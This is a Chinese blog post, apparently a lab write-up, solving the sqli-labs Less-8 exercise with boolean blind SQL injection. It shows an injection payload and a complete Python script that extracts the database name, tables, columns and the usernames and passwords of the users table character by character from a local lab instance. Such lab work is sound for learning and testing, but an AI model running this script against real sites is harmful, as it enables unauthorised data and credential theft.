当前位置:网站首页>sqlilabs less-8
sqlilabs less-8
2022-07-01 14:03:00 【永远是深夜该多好。】
先判断是数字还是字符呢

数字加字符还是没问题,是字符型了。再尝试构造。因为这次只会返回正确与否,所以考虑盲注。
先判断数据库长度
然后判断数据库名

这要用到
substr(内容,n,m)从内容的第n位截取m个 length() 还有一个关键的sql语句
?id=1’ and
substr((select group_concat(table_name) from information_schema.tables
where table_schema =database() ),1,1)=‘u’–+
工作量有点大,可以考虑burp suite 或者用脚本
import requests
url = 'http://localhost/sqlilabs/Less-8/?id=1\''
datalens = 0
datanamee = ''
sign = "You are in..........."
tablename = ''
columnlist = ''
list1= ['id','username','password','user','currentconnections','totalconnections']
valuelist = ''
#数据库长度
for i in range(10):
rl = str(i)
lenurl = url + "and length(database())=" + rl + "--+"
r = requests.get(lenurl)
if sign in r.text:
print("database len " + str(i))
datalens = i + 1
#数据库名
wordlist = "abcdefghijklmnopqrstuvwxyz"
for i in range(1,datalens):
dataname = url + "and substr(database()," + str(i) + "," +"1)"
for w in wordlist:
datanames = dataname + "=" + "'" + w + "'" + "--+"
r = requests.get(datanames)
if sign in r.text:
datanamee += w
print("database name " + datanamee)
#数据库表名
wordlist2 = "abcdefghijklmnopqrstuvwxyz,"
for i in range(1,100):
tableurl1 = url + " and substr((select group_concat(table_name) from information_schema.tables where table_schema = database())," + str(i) + ",1)="
for v in wordlist2:
tableurl = tableurl1 + "\'" + v + "\'" + "--+"
r = requests.get(tableurl)
if sign in r.text:
tablename += v
print("database table " + tablename)
#数据库字段名
for i in range(1,100):
columnurl1 = url + " and substr((select group_concat(column_name) from information_schema.columns where table_name = \'users\' )," + str(i) + ",1)="
for v in wordlist2:
columnurl = columnurl1 + "\'" + v + "\'" + "--+"
r = requests.get(columnurl)
if sign in r.text:
columnlist += v
print("database colum " + columnlist)
print(list1)
#数据库元组
wordlist2 = "0123456789abcdefghijklmnopqrstuvwxyz,=-_/\\."
for n in range(6):
for i in range(1,200):
valueurl1 = url + " and substr((select group_concat(" + list1[n] + ") from users )," + str(i) + ",1)="
for v in wordlist2:
valueurl = valueurl1 + "\'" + v + "\'" + "--+"
r = requests.get(valueurl)
if sign in r.text:
valuelist += v
print("database " + list1[n] + ' ' + valuelist)
valuelist = ''

有目共睹,博主编程力有未逮,有待提高。
边栏推荐
- QT learning management system
- Texstudio tutorial
- 【剑指 Offer】55 - II. 平衡二叉树
- 【 剑指 Offer】55 - I. 二叉树的深度
- Error:Kotlin: Module was compiled with an incompatible version of Kotlin. The binary version of its
- leetcode622.设计循环队列(C语言)
- C language course design topic
- 【修复版】仿我爱看电影网站模板/海洋CMS影视系统模板
- [241. Design priority for operation expression]
- 一文读懂TDengine的窗口查询功能
猜你喜欢

Station B was scolded on the hot search..

Six years of technology iteration, challenges and exploration of Alibaba's globalization and compliance

清华章毓晋老师新书:2D视觉系统和图像技术(文末送5本)

Learning to use livedata and ViewModel will make it easier for you to write business

The integration of computing and Internet enables the transformation of the industry, and the mobile cloud lights up a new roadmap for the future of digital intelligence

Animesr: learnable degradation operator and new real world animation VSR dataset

QT learning management system
![[anwangbei 2021] Rev WP](/img/98/ea5c241e2b8f3ae4c76e1c75c9e0d1.png)
[anwangbei 2021] Rev WP

How will the surging tide of digitalization overturn the future?

“国防七子”经费暴增,清华足足362亿元,甩第二名101亿 |全国高校2022预算大公开...
随机推荐
开源实习经验分享:openEuler软件包加固测试
2. Sensor size "recommended collection"
Logic is a good thing
That hard-working student failed the college entrance examination... Don't panic! You have another chance to counter attack!
程序设计的基本概念
开源者的自我修养|为 ShardingSphere 贡献了千万行代码的程序员,后来当了 CEO
uni-app实现广告滚动条
深度合作 | 涛思数据携手长虹佳华为中国区客户提供 TDengine 强大企业级产品与完善服务保障
自定义注解实现验证信息的功能
Realize queue with stack and stack with queue (C language \leetcode\u 232+225)
How to pass array parameters in get request
Halo effect - who says that those with light on their heads are heroes
【 剑指 Offer】55 - I. 二叉树的深度
Chen Yu (Aqua) - Safety - & gt; Cloud Security - & gt; Multicloud security
2022 · 让我带你Jetpack架构组件从入门到精通 — Lifecycle
Sign APK with command line
SWT/ANR问题--如何捕获性能的trace
SWT / anr problem - how to open binder trace (bindertraces) when sending anr / SWT
Explain IO multiplexing, select, poll, epoll in detail
既不是研发顶尖高手,也不是销售大牛,为何偏偏获得 2 万 RMB 的首个涛思文化奖?